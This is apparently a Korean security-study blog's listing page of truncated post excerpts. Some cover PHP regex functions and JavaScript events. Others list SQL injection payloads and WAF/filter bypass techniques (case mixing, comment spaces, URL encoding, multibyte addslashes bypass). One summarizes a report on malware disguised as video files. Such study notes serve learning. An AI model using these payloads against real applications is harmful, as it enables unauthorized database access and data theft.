목록공부 (74)
보안세상
1) eregi 함수 eregi("검사할문자", "검사대상문자열"); - 검사대상문자열에 검사할 문자가 있으면 TRUE(1), 검사대상문자열에 검사할 문자가 없으면 FALSE(null) 가 결과로 나오게 된다 - ereg함수는 대소문자 구별을하며 eregi함수는 대소문자 구별을 하지 않는다 ex) 2) 정규표현식 ^ / $ / . / * / + / ? 연산자설명^ 문자열의 시작을 의미$ 문자열의 끝을 의미. 임의의 한 문자* 바로 앞의 문자가 없거나 하나 이상+ 바로 앞의 문자가 하나이상? 바로 앞의 한 문자가 없거나 있음 ex) ^a ==> a로 시작하는 모든 문자열 (a, ab, abc, abcd, ....) a$ ==> a로 끝나는 모든 문자열 (a, ba, cba, ....) a.b ==> a와 ..
1. ereg() 함수 - 문자열중에 찾는값이 있으면 TRUE 를 반환, 아니면 FALSE를 반환 - ereg("찾는값","문자열",array[matches]) 3번째 인자를 사용할 경우에는 값을 찾아낸 문자열을 matches에 저장 2. eregi() 함수 - ereg와 같으나 대소문자를 구별 - eregi("찾는값","문자열",array[matches]) 3. ereg_replace() 함수 - 문자열을 찾는값이 나오면 치환값으로 치환 - ereg_replace("찾는값","치환값","문자열") 4. eregi_replace() 함수 - ereg_replace와 같으나 대소문자를 구분 - eregi_replace("찾는값","치환값","문자열")
NameDescriptionASCII()Return numeric value of left-most characterBIN()Return a string representation of the argumentBIT_LENGTH()Return length of argument in bitsCHAR_LENGTH()Return number of characters in argumentCHAR()Return the character for each integer passedCHARACTER_LENGTH()A synonym for CHAR_LENGTH()CONCAT_WS()Return concatenate with separatorCONCAT()Return concatenated stringELT()Return ..
onLoad 브라우저의 문서를 읽을 때 발생 onUnload 브라우저의 문서를 닫을 때 발생 onKeyDown 키보드의 키를 클릭했을 때 발생 onKeyPress 키보드의 키를 클릭했다가 놓았을 때 발생 onKeyUp 키보드의 키를 놓았을 때 발생 onMouseDown 마우스 버튼을 눌렀을 때 발생 onMouseOut 마우스가 지정한 영역을 벗어났을 때 발생 onMouseOver 마우스가 지정한 영역 위에 위치할 때 발생 onMouseUp 마우스 버튼을 놓았을 때 발생 onDblClick 마우스를 더블클릭했을 때 발생 onDragDrop 마우스를 드래그했을 때 발생 onChange 입력 양식의 값이 바뀌었을 때 발생 onClick 입력 양식을 클릭했을 때 발생 onBlur 입력 양식에서 포커스가 벗어났을..
quote 우회 따음표(')가 필터링이 되어있는데, 캐릭터를 비교 해야 한다면 아스키를 사용하면 된다.ascii는 문자열을 숫자로 바꿔주므로 ascii(a) = 97 과 같은 형태로 quote없이 비교 가능 Limit 우회인젝션시 Limit필터링이 걸려있다면 귀찮아 진다.( SELECT 구문에서WHERE, ORDER BY, LIMIT, OFFSET에 사용되기 때문ex)
euc kr과 utf 8변환 작업의 경우 multy byte를 이용해서 우회가 가능하다. (php의 addslashes(string str)함수는 매개변수로 넘겨준 문자열 안에 "나"라는 문자열이 있을 경우 앞에 \를 추가하여 주는 함수 이다.결론적으로 php와 mysql간의 연동시 필수적으로 해줘야 한다. 조금 깊게 들어가면 보통 db에 쿼리문을 보낼떄 ""또는 "로 한 문자열을 인식하게 되는데 이미 문자열에서 ""또는 "가 있다면 문자열이 2개이상으로 나뉘어져버린다. 그럼 보내야 되는 문자열은 1개인데 2개이상으로 인식해 쿼리문이 에러가 난다. 하지만 addslashes() 명령어를 쓰면 "나"문자열 앞에 전부 \를 붙혀줌으로써 \', \"의 명령어는 데이터베이스에서 와로 인식되 나뉠 문자열이라 생각..
인젝션 가능 파일 찾기 1) ' or''=' 2) ' or 1=1-- 3) ' or 'a'='a-- 4) 'or'='or' 5) " or 1=1-- 6) " or "a"="a 7) ') or ('a'='a 8) ") or ("a"="a 9) ' and [??] and ''='10) ' and [??] and '%25'='11) or 1=1-- 12) or 'a='a 13) ) or (1=1 14) and [??] ids에서 검사하는 항목NION SELECT OR 1=1 EXEC SP_ (or EXEC XP_) OR 'Unusual' = 'Unusual'OR 'Simple' = N'Simple'OR 'Simple' = 'Sim'+'ple' OR 'Simple' LIKE 'Sim%' OR 'Simple' I..
우회 패턴은 크게 3가지로 분류 가능하다.1) 네트워크의 특성을 이용한 우회 패턴2)어플리케이션의 잘못된 필터링 우회 패턴3)일반적인 SQL특성 우회 패턴 1) %를 이용하는 패턴일반적인 네트워크 장비들이 통신시 필요한 네트워크간의 패킷을 그대로 볼 수 있기 때문에 시도 가능한 패턴이다. URL 원본 : SELECT패턴1 : SEL%ECT패턴2 : %S%EL%E%C%T 등 URL인코딩을 이용한 방법들이다.HEX코드 앞에 %붙혀서 영어나 숫자 외에 문자들을 전송 할 수 있게 해준다.정말 간단하지만 Webknight는 우회할 수 있다. 2)문자열 치환가장많이 쓰는 방법중 하나인데 DBMS는 다양한 문자열과 인코딩 치환 기능을 제공한다.그러므로 DBMS를 잘 분석한다면 사용가능하다. MSSQL: where n..
1) 대소문자 변형 union select password from member where id='ireoa'-- UnION seLEct password ForM member WhErE id='ireoa'-- 2) 공백 우회 /**/ %0a %09 () 3)URL Encoding 3) = 우회 union select password from member where username = 'ireoa'-- union select password from member where username like 'ireoa'-- 4)URL Encoding '%2f%2a*/union%2f%2a*/select%2f%2a*/password%2f%2a*/form%2f%2a*/member%2f%2a*/where%2f%2a*/us..
안철수 연구소에서 2013년 12월05일에 발표가 있었네요.흥미로워서 가져와봤습니다. 문서나 동영상 파일로 위장해 악성코드를 유포하는 것은 공격자들이 주로 쓰는 전형적인 수법 중 하나다. 이는 사용자에게 익숙한 파일의 형태로 위장해 악성코드를 쉽게 퍼뜨리기 위한 것이다. 최근 아이콘의 모양과 실제 파일의 형태가 다른 악성코드가 잇따라 발견되고 있어 사용자들의 각별한 주의가 필요하다. 국내 한 기관에서 동영상 파일로 위장한 악성코드가 접수됐다. 사용자가 다운로드받은 것으로 보이는 특정 파일은 동영상 재생 프로그램에서 실행 가능한 .asf 형태의 아이콘의 모습을 하고 있다. 사용자는 별 의심 없이 동영상 파일을 실행할 수 있지만, 숨겨진 확장자 설정을 변경해 파일을 확인해보면 .asf 확장자가 아닌 윈도우 ..